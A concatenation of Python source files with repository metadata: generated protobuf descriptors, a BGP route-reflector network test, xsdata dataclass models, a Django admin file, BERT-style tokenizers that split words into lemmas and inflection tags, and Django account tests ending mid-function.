has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_double', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_double', index=11,
number=12, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_bool', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_bool', index=12,
number=13, type=8, cpp_type=7, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='repeated_nested_enum', full_name='google.protobuf.python.internal.TestUnpackedTypes.repeated_nested_enum', index=13,
number=14, type=14, cpp_type=8, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')), file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=564,
serialized_end=1056,
)
_TESTPACKEDTYPES.fields_by_name['repeated_nested_enum'].enum_type = _TESTPACKEDTYPES_NESTEDENUM
_TESTPACKEDTYPES_NESTEDENUM.containing_type = _TESTPACKEDTYPES
_TESTUNPACKEDTYPES.fields_by_name['repeated_nested_enum'].enum_type = _TESTPACKEDTYPES_NESTEDENUM
DESCRIPTOR.message_types_by_name['TestPackedTypes'] = _TESTPACKEDTYPES
DESCRIPTOR.message_types_by_name['TestUnpackedTypes'] = _TESTUNPACKEDTYPES
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
TestPackedTypes = _reflection.GeneratedProtocolMessageType('TestPackedTypes', (_message.Message,), dict(
DESCRIPTOR = _TESTPACKEDTYPES,
__module__ = 'google.protobuf.internal.packed_field_test_pb2'
# @@protoc_insertion_point(class_scope:google.protobuf.python.internal.TestPackedTypes)
))
_sym_db.RegisterMessage(TestPackedTypes)
TestUnpackedTypes = _reflection.GeneratedProtocolMessageType('TestUnpackedTypes', (_message.Message,), dict(
DESCRIPTOR = _TESTUNPACKEDTYPES,
__module__ = 'google.protobuf.internal.packed_field_test_pb2'
# @@protoc_insertion_point(class_scope:google.protobuf.python.internal.TestUnpackedTypes)
))
_sym_db.RegisterMessage(TestUnpackedTypes)
_TESTUNPACKEDTYPES.fields_by_name['repeated_int32'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_int32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
_TESTUNPACKEDTYPES.fields_by_name['repeated_int64'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_int64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
_TESTUNPACKEDTYPES.fields_by_name['repeated_uint32'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_uint32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
_TESTUNPACKEDTYPES.fields_by_name['repeated_uint64'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_uint64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
_TESTUNPACKEDTYPES.fields_by_name['repeated_sint32'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_sint32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
_TESTUNPACKEDTYPES.fields_by_name['repeated_sint64'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_sint64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
_TESTUNPACKEDTYPES.fields_by_name['repeated_fixed32'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_fixed32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
_TESTUNPACKEDTYPES.fields_by_name['repeated_fixed64'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_fixed64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
_TESTUNPACKEDTYPES.fields_by_name['repeated_sfixed32'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_sfixed32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
_TESTUNPACKEDTYPES.fields_by_name['repeated_sfixed64'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_sfixed64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
_TESTUNPACKEDTYPES.fields_by_name['repeated_float'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_float']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
_TESTUNPACKEDTYPES.fields_by_name['repeated_double'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_double']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
_TESTUNPACKEDTYPES.fields_by_name['repeated_bool'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_bool']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
_TESTUNPACKEDTYPES.fields_by_name['repeated_nested_enum'].has_options = True
_TESTUNPACKEDTYPES.fields_by_name['repeated_nested_enum']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))
# @@protoc_insertion_point(module_scope)
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| 7
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45455d51699398751677656d577408826f44fdca
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py
|
Python
|
scripts/RR/test_rr.py
|
atsgen/tf-test
|
2748fcd81491450c75dadc71849d2a1c11061029
|
[
"Apache-2.0"
] | 5
|
2020-09-29T00:36:57.000Z
|
2022-02-16T06:51:32.000Z
|
scripts/RR/test_rr.py
|
atsgen/tf-test
|
2748fcd81491450c75dadc71849d2a1c11061029
|
[
"Apache-2.0"
] | 27
|
2019-11-02T02:18:34.000Z
|
2022-02-24T18:49:08.000Z
|
scripts/RR/test_rr.py
|
atsgen/tf-test
|
2748fcd81491450c75dadc71849d2a1c11061029
|
[
"Apache-2.0"
] | 20
|
2019-11-28T16:02:25.000Z
|
2022-01-06T05:56:58.000Z
|
from __future__ import absolute_import
from .base import BaseRRTest,verify_peer_in_control_nodes,\
get_connection_matrix
import traffic_tests
from vn_test import *
from vm_test import *
from floating_ip import *
from policy_test import *
from compute_node_test import ComputeNodeFixture
from user_test import UserFixture
from multiple_vn_vm_test import *
from tcutils.wrappers import preposttest_wrapper
sys.path.append(os.path.realpath('tcutils/pkgs/Traffic'))
from traffic.core.stream import Stream
from traffic.core.profile import create, ContinuousProfile
from traffic.core.helpers import Host
from traffic.core.helpers import Sender, Receiver
from common import isolated_creds
import inspect
from tcutils.util import skip_because, is_almost_same,ipv4_to_decimal
from tcutils.tcpdump_utils import start_tcpdump_for_intf,\
stop_tcpdump_for_intf, verify_tcpdump_count
import test
from tcutils.contrail_status_check import ContrailStatusChecker
from tcutils.traffic_utils.hping_traffic import Hping3
import control_node
class TestBasicRR(BaseRRTest):
@classmethod
def setUpClass(cls):
super(TestBasicRR, cls).setUpClass()
@classmethod
def tearDownClass(cls):
super(TestBasicRR, cls).tearDownClass()
@test.attr(type=['sanity'])
@preposttest_wrapper
def test_basic_RR(self):
''' Configure RR in one control node.
1. Verify mesh connections removed
2. Verify ping between VM's works
Pass criteria: Step 1 and 2 should pass
'''
if os.environ.get('MX_GW_TEST', 0) != '1':
self.logger.info(
"Skipping Test. Env variable MX_GW_TEST is not set. Skipping the test")
raise self.skipTest(
"Skipping Test. Env variable MX_GW_TEST is not set. Skipping the test")
if len(set(self.inputs.bgp_ips)) < 3:
self.logger.info(
"Skipping Test. At least 3 control node required to run the test")
raise self.skipTest(
"Skipping Test. At least 3 control node required to run the test")
result = True
vn1_name = get_random_name('vn1')
vn1_subnets = ['192.168.1.0/24']
vn1_vm1_name = get_random_name('vn1_vm1')
vn1_vm2_name = get_random_name('vn1_vm2')
vn1_fixture = self.create_vn(vn1_name, vn1_subnets)
assert vn1_fixture.verify_on_setup()
vm1_fixture = self.create_vm(vn1_fixture, vn1_vm1_name)
vm2_fixture = self.create_vm(vn1_fixture, vn1_vm2_name)
assert vm1_fixture.wait_till_vm_is_up()
assert vm2_fixture.wait_till_vm_is_up()
assert vm1_fixture.ping_to_ip(vm2_fixture.vm_ip)
assert vm2_fixture.ping_to_ip(vm1_fixture.vm_ip)
# Take the first BGP node
ctrl_node_name = self.inputs.bgp_names[0]
ctrl_node_ip = self.inputs.host_data[ctrl_node_name]['control-ip']
ctrl_node_host_ip = self.inputs.host_data[ctrl_node_name]['host_ip']
#set it as the RR
ctrl_fixture = self.useFixture(
control_node.CNFixture(
connections=self.connections,
inputs=self.inputs,
router_name=ctrl_node_name,
router_ip=ctrl_node_ip
))
cluster_id = ipv4_to_decimal(ctrl_node_ip)
if ctrl_fixture.set_cluster_id(cluster_id):
self.logger.info("cluster id set")
else:
self.logger.error("cluster id not set")
assert False
#Calculating connection matrix.The mesh connections should be removed
connection_dicts = get_connection_matrix(self.inputs,ctrl_node_name)
#Verifying bgp connections.The non-rr nodes should have only one bgp connection to RR
#RR should have bgp connections to both the non-rrs
skip_peers = []
for as4_ext_router in self.inputs.as4_ext_routers:
skip_peers.append(as4_ext_router[0])
for entry in connection_dicts:
if verify_peer_in_control_nodes(self.cn_inspect,entry,connection_dicts[entry],skip_peers,self.logger):
self.logger.info("BGP connections are proper")
else:
self.logger.error("BGP connections are not proper")
assert False
assert vm1_fixture.ping_to_ip(vm2_fixture.vm_ip)
assert vm2_fixture.ping_to_ip(vm1_fixture.vm_ip)
return True
# end test_basic_RR
@test.attr(type=['sanity'])
@preposttest_wrapper
def test_create_vm_after_RR_set(self):
''' Configure RR in one control node.
1. Verify mesh connections removed
2. Verify ping between VM's works
Pass criteria: Step 1 and 2 should pass
'''
if os.environ.get('MX_GW_TEST', 0) != '1':
self.logger.info("Skipping Test. Env variable MX_GW_TEST is not set. Skipping the test")
raise self.skipTest("Skipping Test. Env variable MX_GW_TEST is not set. Skipping the test")
if len(set(self.inputs.bgp_ips)) < 3:
self.logger.info(
"Skipping Test. At least 3 control node required to run the test")
raise self.skipTest(
"Skipping Test. At least 3 control node required to run the test")
result = True
# Take the first BGP node
ctrl_node_name = self.inputs.bgp_names[0]
ctrl_node_ip = self.inputs.host_data[ctrl_node_name]['control-ip']
ctrl_node_host_ip = self.inputs.host_data[ctrl_node_name]['host_ip']
#set it as the RR
ctrl_fixture = self.useFixture(
control_node.CNFixture(
connections=self.connections,
inputs=self.inputs,
router_name=ctrl_node_name,
router_ip=ctrl_node_ip
))
cluster_id = ipv4_to_decimal(ctrl_node_ip)
if ctrl_fixture.set_cluster_id(cluster_id):
self.logger.info("cluster id set")
else:
self.logger.error("cluster id not set")
assert False
#Calculating connection matrix.The mesh connections should be removed
connection_dicts = get_connection_matrix(self.inputs,ctrl_node_name)
#Verifying bgp connections.The non-rr nodes should have only one bgp connection to RR
#RR should have bgp connections to both the non-rrs
skip_peers = []
for as4_ext_router in self.inputs.as4_ext_routers:
skip_peers.append(as4_ext_router[0])
for entry in connection_dicts:
if verify_peer_in_control_nodes(self.cn_inspect,entry,connection_dicts[entry],skip_peers,self.logger):
self.logger.info("BGP connections are proper")
else:
self.logger.error("BGP connections are not proper")
assert False
vn1_name = get_random_name('vn1')
vn1_subnets = ['192.168.1.0/24']
vn1_vm1_name = get_random_name('vn1_vm1')
vn1_vm2_name = get_random_name('vn1_vm2')
vn1_fixture = self.create_vn(vn1_name, vn1_subnets)
assert vn1_fixture.verify_on_setup()
vm1_fixture = self.create_vm(vn1_fixture, vn1_vm1_name)
vm2_fixture = self.create_vm(vn1_fixture, vn1_vm2_name)
assert vm1_fixture.wait_till_vm_is_up()
assert vm2_fixture.wait_till_vm_is_up()
assert vm1_fixture.ping_to_ip(vm2_fixture.vm_ip)
assert vm2_fixture.ping_to_ip(vm1_fixture.vm_ip)
return True
# end test_basic_RR
| 43.724138
| 114
| 0.663249
| 1,041
| 7,608
| 4.570605
| 0.172911
| 0.030265
| 0.025221
| 0.021438
| 0.803699
| 0.786885
| 0.786885
| 0.786885
| 0.76881
| 0.76881
| 0
| 0.020361
| 0.264064
| 7,608
| 173
| 115
| 43.976879
| 0.829434
| 0.108044
| 0
| 0.748201
| 0
| 0
| 0.126941
| 0
| 0
| 0
| 0
| 0
| 0.115108
| 1
| 0.028777
| false
| 0
| 0.165468
| 0
| 0.215827
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
18c14f03115d9504c3b92c34b1ae52c52a075d49
| 2,565
|
py
|
Python
|
output/models/ibm_data/mixed/assertions/test18_xsd/test18.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | 1
|
2021-08-14T17:59:21.000Z
|
2021-08-14T17:59:21.000Z
|
output/models/ibm_data/mixed/assertions/test18_xsd/test18.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | 4
|
2020-02-12T21:30:44.000Z
|
2020-04-15T20:06:46.000Z
|
output/models/ibm_data/mixed/assertions/test18_xsd/test18.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | null | null | null |
from dataclasses import dataclass, field
from typing import List, Optional
@dataclass
class X:
a: Optional["X.A"] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
}
)
b: Optional[str] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
}
)
c: Optional[str] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
}
)
d: Optional[str] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
}
)
@dataclass
class A:
a1: List[str] = field(
default_factory=list,
metadata={
"type": "Element",
"namespace": "",
"min_occurs": 1,
}
)
a_count: Optional[int] = field(
default=None,
metadata={
"name": "aCount",
"type": "Attribute",
}
)
@dataclass
class Y:
a: Optional["Y.A"] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
}
)
b: Optional[str] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
}
)
c: Optional[str] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
}
)
d: Optional[str] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
}
)
@dataclass
class A:
a1: List[str] = field(
default_factory=list,
metadata={
"type": "Element",
"namespace": "",
"min_occurs": 1,
}
)
a_count: Optional[int] = field(
default=None,
metadata={
"name": "aCount",
"type": "Attribute",
}
)
@dataclass
class Test:
class Meta:
name = "test"
x: Optional[X] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
"required": True,
}
)
y: Optional[Y] = field(
default=None,
metadata={
"type": "Element",
"namespace": "",
"required": True,
}
)
| 20.357143
| 40
| 0.393762
| 187
| 2,565
| 5.368984
| 0.192513
| 0.167331
| 0.191235
| 0.286853
| 0.860558
| 0.860558
| 0.860558
| 0.860558
| 0.860558
| 0.749004
| 0
| 0.00292
| 0.465887
| 2,565
| 125
| 41
| 20.52
| 0.729927
| 0
| 0
| 0.663793
| 0
| 0
| 0.129435
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.017241
| 0
| 0.155172
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
18cb4d88c72672007c899ad0f42585b051c49d62
| 106
|
py
|
Python
|
python_cli_compare/__main__.py
|
otomakorihciok/python-cli-compare
|
74488a6cc56bcd401de2efa985c22bc181c1f371
|
[
"Apache-2.0"
] | null | null | null |
python_cli_compare/__main__.py
|
otomakorihciok/python-cli-compare
|
74488a6cc56bcd401de2efa985c22bc181c1f371
|
[
"Apache-2.0"
] | null | null | null |
python_cli_compare/__main__.py
|
otomakorihciok/python-cli-compare
|
74488a6cc56bcd401de2efa985c22bc181c1f371
|
[
"Apache-2.0"
] | null | null | null |
import fire
from python_cli_compare import fire_cli, click_cli
# fire.Fire(fire_cli.CLI)
click_cli.cli()
| 17.666667
| 50
| 0.811321
| 19
| 106
| 4.210526
| 0.368421
| 0.25
| 0.275
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.103774
| 106
| 5
| 51
| 21.2
| 0.842105
| 0.216981
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
18f4e3765e06452740e4096ca998b1bcaeb31dc4
| 202
|
py
|
Python
|
Q2/simpleDatabaseDesign/api/admin.py
|
emrpla/evreka-case
|
9a400dd645a022e209c23441567a6d7f50554b9c
|
[
"MIT"
] | null | null | null |
Q2/simpleDatabaseDesign/api/admin.py
|
emrpla/evreka-case
|
9a400dd645a022e209c23441567a6d7f50554b9c
|
[
"MIT"
] | null | null | null |
Q2/simpleDatabaseDesign/api/admin.py
|
emrpla/evreka-case
|
9a400dd645a022e209c23441567a6d7f50554b9c
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from .models import Bin,Operation,Bin_Operation
# Register your models here.
admin.site.register(Bin)
admin.site.register(Operation)
admin.site.register(Bin_Operation)
| 25.25
| 47
| 0.826733
| 29
| 202
| 5.689655
| 0.413793
| 0.218182
| 0.309091
| 0.242424
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.084158
| 202
| 7
| 48
| 28.857143
| 0.891892
| 0.128713
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.4
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
e143eb1e3f8f05143bef3b17e57642dfcc9a3d98
| 9,155
|
py
|
Python
|
src/bite/bite_wordpiece.py
|
salesforce/bite
|
0619bc6d87b81ec65cf311906da3889043176ead
|
[
"BSD-3-Clause"
] | 6
|
2020-12-09T01:57:13.000Z
|
2021-10-09T01:50:21.000Z
|
src/bite/bite_wordpiece.py
|
salesforce/bite
|
0619bc6d87b81ec65cf311906da3889043176ead
|
[
"BSD-3-Clause"
] | 1
|
2021-02-16T14:50:09.000Z
|
2021-02-23T07:29:15.000Z
|
src/bite/bite_wordpiece.py
|
salesforce/bite
|
0619bc6d87b81ec65cf311906da3889043176ead
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding: utf-8 -*-
from transformers import BertTokenizer, BasicTokenizer
from lemminflect import getLemma, getInflection
import string
from nltk.tag.perceptron import PerceptronTagger
from nltk.tag.mapping import map_tag
class BiteWordpieceTokenizer(BertTokenizer):
def __init__(self, vocab_file, do_lower_case=True, never_split=None,
additional_special_tokens=["[JJR]", "[JJS]", "[NNS]", "[NNP]", "[NNPS]", "[RBR]",
"[RBS]", "[VBD]", "[VBG]", "[VBN]", "[VBP]", "[VBZ]"], **kwargs):
self.inflection_tokens = additional_special_tokens
self.tagger = PerceptronTagger()
super().__init__(vocab_file, do_lower_case=do_lower_case, never_split=never_split, additional_special_tokens=additional_special_tokens, **kwargs)
self.have_inflections = {'NOUN', 'ADJ', 'VERB'}
self.lemma_tags = {'NN', 'VB', 'JJ', 'RB', 'MD', "NNP"}
self.do_lower_case = do_lower_case
if do_lower_case:
self.cased_tokenizer = BasicTokenizer(do_lower_case=False, never_split=never_split)
else:
self.cased_tokenizer = self.basic_tokenizer
def _tokenize(self, text):
tokenized = self.cased_tokenizer.tokenize(text, never_split=self.all_special_tokens)
#print(tokenized)
ptb_pos_tagged = self.tagger.tag(tokenized)
#print(pos_tagged)
#print(pos_tagged)
universal_pos_tagged = [(token, map_tag("en-ptb", 'universal', tag))
for (token, tag) in ptb_pos_tagged]
#print(universal_pos_tagged)
split_tokens = []
for i, (word, pos) in enumerate(ptb_pos_tagged):
if self.do_lower_case:
word = word.lower()
if universal_pos_tagged[i][1] in self.have_inflections and word not in (string.punctuation+'—') and pos not in self.lemma_tags:
# (universal_)pos_tagged in the form of [(word, pos),(word, pos),...]
# getLemma returns a tuple (lemma,)
lemma = getLemma(word, upos=universal_pos_tagged[i][1])[0]
if not lemma:
lemma = word
wordpieced = self.wordpiece_tokenizer.tokenize(lemma)
#print(wordpieced)
split_tokens.extend(wordpieced)
split_tokens.append('['+pos+']')
else:
wordpieced = self.wordpiece_tokenizer.tokenize(word)
split_tokens.extend(wordpieced)
return split_tokens
def convert_tokens_to_string(self, tokens):
result = []
for i, token in enumerate(tokens):
# combine wordpiece tokens
if len(token) > 2 and token[:2] == '##':
if result:
result[-1] += token[2:]
else:
result.append(token[2:])
continue
if token in self.inflection_tokens:
if i != 0:
inflected = getInflection(result[-1], tag=token[1:-1])
if inflected:
result[-1] = inflected[0]
else:
result.append(token)
return ' '.join(result)
class LemmaWordpieceTokenizer(BertTokenizer):
def __init__(self, vocab_file, do_lower_case=True, never_split=None,
additional_special_tokens=["[JJR]", "[JJS]", "[NNS]", "[NNP]", "[NNPS]", "[RBR]",
"[RBS]", "[VBD]", "[VBG]", "[VBN]", "[VBP]", "[VBZ]"], **kwargs):
self.inflection_tokens = additional_special_tokens
self.tagger = PerceptronTagger()
super().__init__(vocab_file, do_lower_case=do_lower_case, never_split=never_split, additional_special_tokens=additional_special_tokens, **kwargs)
self.have_inflections = {'NOUN', 'ADJ', 'VERB'}
self.lemma_tags = {'NN', 'VB', 'JJ', 'RB', 'MD', "NNP"}
self.do_lower_case = do_lower_case
if do_lower_case:
self.cased_tokenizer = BasicTokenizer(do_lower_case=False, never_split=never_split)
else:
self.cased_tokenizer = self.basic_tokenizer
def _tokenize(self, text):
tokenized = self.cased_tokenizer.tokenize(text, never_split=self.all_special_tokens)
#print(tokenized)
ptb_pos_tagged = self.tagger.tag(tokenized)
#print(pos_tagged)
#print(pos_tagged)
universal_pos_tagged = [(token, map_tag("en-ptb", 'universal', tag))
for (token, tag) in ptb_pos_tagged]
#print(universal_pos_tagged)
split_tokens = []
for i, (word, pos) in enumerate(ptb_pos_tagged):
if self.do_lower_case:
word = word.lower()
if universal_pos_tagged[i][1] in self.have_inflections and word not in (string.punctuation+'—') and pos not in self.lemma_tags:
# (universal_)pos_tagged in the form of [(word, pos),(word, pos),...]
# getLemma returns a tuple (lemma,)
lemma = getLemma(word, upos=universal_pos_tagged[i][1])[0]
if not lemma:
lemma = word
wordpieced = self.wordpiece_tokenizer.tokenize(lemma)
#print(wordpieced)
split_tokens.extend(wordpieced)
else:
wordpieced = self.wordpiece_tokenizer.tokenize(word)
split_tokens.extend(wordpieced)
return split_tokens
def convert_tokens_to_string(self, tokens):
result = []
for i, token in enumerate(tokens):
# combine wordpiece tokens
if len(token) > 2 and token[:2] == '##':
if result:
result[-1] += token[2:]
else:
result.append(token[2:])
continue
if token in self.inflection_tokens:
if i != 0:
inflected = getInflection(result[-1], tag=token[1:-1])
if inflected:
result[-1] = inflected[0]
else:
result.append(token)
return ' '.join(result)
class AblBiteWordpieceTokenizer(BertTokenizer):
def __init__(self, vocab_file, do_lower_case=True, never_split=None,
additional_special_tokens=["[JJR]", "[JJS]", "[NNS]", "[NNP]", "[NNPS]", "[RBR]",
"[RBS]", "[VBD]", "[VBG]", "[VBN]", "[VBP]", "[VBZ]"], **kwargs):
self.inflection_tokens = additional_special_tokens
self.tagger = PerceptronTagger()
super().__init__(vocab_file, do_lower_case=do_lower_case, never_split=never_split, additional_special_tokens=additional_special_tokens, **kwargs)
self.have_inflections = {'NOUN', 'ADJ', 'VERB'}
self.lemma_tags = {'NN', 'VB', 'JJ', 'RB', 'MD', "NNP"}
self.do_lower_case = do_lower_case
if do_lower_case:
self.cased_tokenizer = BasicTokenizer(do_lower_case=False, never_split=never_split)
else:
self.cased_tokenizer = self.basic_tokenizer
def _tokenize(self, text):
tokenized = self.cased_tokenizer.tokenize(text, never_split=self.all_special_tokens)
#print(tokenized)
ptb_pos_tagged = self.tagger.tag(tokenized)
#print(pos_tagged)
#print(pos_tagged)
universal_pos_tagged = [(token, map_tag("en-ptb", 'universal', tag))
for (token, tag) in ptb_pos_tagged]
#print(universal_pos_tagged)
split_tokens = []
for i, (word, pos) in enumerate(ptb_pos_tagged):
if self.do_lower_case:
word = word.lower()
if universal_pos_tagged[i][1] in self.have_inflections and word not in (string.punctuation+'—') and pos not in self.lemma_tags:
# (universal_)pos_tagged in the form of [(word, pos),(word, pos),...]
# getLemma returns a tuple (lemma,)
lemma = getLemma(word, upos=universal_pos_tagged[i][1])[0]
if not lemma:
lemma = word
wordpieced = self.wordpiece_tokenizer.tokenize(lemma)
#print(wordpieced)
split_tokens.extend(wordpieced)
split_tokens.append('[unused1]')
else:
wordpieced = self.wordpiece_tokenizer.tokenize(word)
split_tokens.extend(wordpieced)
return split_tokens
def convert_tokens_to_string(self, tokens):
result = []
for i, token in enumerate(tokens):
# combine wordpiece tokens
if len(token) > 2 and token[:2] == '##':
if result:
result[-1] += token[2:]
else:
result.append(token[2:])
continue
if token in self.inflection_tokens:
if i != 0:
inflected = getInflection(result[-1], tag=token[1:-1])
if inflected:
result[-1] = inflected[0]
else:
result.append(token)
return ' '.join(result)
| 46.237374
| 153
| 0.567886
| 1,008
| 9,155
| 4.916667
| 0.114087
| 0.054479
| 0.053269
| 0.01937
| 0.945319
| 0.945319
| 0.945319
| 0.945319
| 0.945319
| 0.945319
| 0
| 0.007011
| 0.314473
| 9,155
| 197
| 154
| 46.472081
| 0.782186
| 0.074713
| 0
| 0.936306
| 0
| 0
| 0.038247
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.057325
| false
| 0
| 0.031847
| 0
| 0.146497
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e144691c5c98aa2aad96f9c21fdb7d4e57e3a505
| 6,272
|
py
|
Python
|
accounts/tests.py
|
mrajeswarasai/CollegeMart
|
34b4087e84fd753a4796ee1cdbd53d22f637f011
|
[
"Apache-2.0"
] | null | null | null |
accounts/tests.py
|
mrajeswarasai/CollegeMart
|
34b4087e84fd753a4796ee1cdbd53d22f637f011
|
[
"Apache-2.0"
] | 3
|
2021-06-08T22:29:18.000Z
|
2022-03-12T00:48:30.000Z
|
accounts/tests.py
|
mrajeswarasai/CollegeMart
|
34b4087e84fd753a4796ee1cdbd53d22f637f011
|
[
"Apache-2.0"
] | null | null | null |
from django.test import TestCase, Client
from .models import Profile, User
from .forms import SignupForm,ProfileForm,ProfileUpdateForm
from django.test import Client
from django.urls import reverse
class TestSignupForm(TestCase):
def test_SignupForm(self):
form_instance = SignupForm(data={
"username": "test_User",
"email": "mail@iiits.in",
"password1": "tester321",
"password2": "tester321",
})
self.assertEqual(form_instance.is_valid(), True)
register = form_instance.save(commit=False)
register.save()
model_instance = User.objects.get(username="test_User")
self.assertEqual(model_instance.username, "test_User")
self.assertEqual(model_instance.email, "mail@iiits.in")
class RegisterUrlTest(TestCase):
def setUp(self):
self.createduser = User.objects.create_user(username="collegemart", email="collegemart@gmail.com",
password="collegemart123")
self.client = None
self.request_url = '/accounts/register/'
def test_register1(self):
self.client = Client()
self.client.force_login(self.createduser)
response = self.client.get(self.request_url)
self.assertEqual(response.status_code, 200)
def test_register(self):
self.client = Client()
response = self.client.get(self.request_url)
self.assertEquals(response.status_code,200)
'''class LogoutUrlTest(TestCase):
def setUp(self):
self.createduser = User.objects.create_user(username="collegemart", email="collegemart@gmail.com",
password="collegemart123")
self.client = None
self.request_url = '/accounts/logout/'
def test_register1(self):
self.client = Client()
self.client.force_login(self.createduser)
response = self.client.get(self.request_url)
self.assertEqual(response.status_code, 200)
def test_register(self):
self.client = Client()
response = self.client.get(self.request_url)
self.assertEquals(response.status_code,302)'''
class PasswordUrlTest(TestCase):
def setUp(self):
self.createduser = User.objects.create_user(username="collegemart", email="collegemart@gmail.com",
password="collegemart123")
self.client = None
self.request_url = '/accounts/password/'
def test_register1(self):
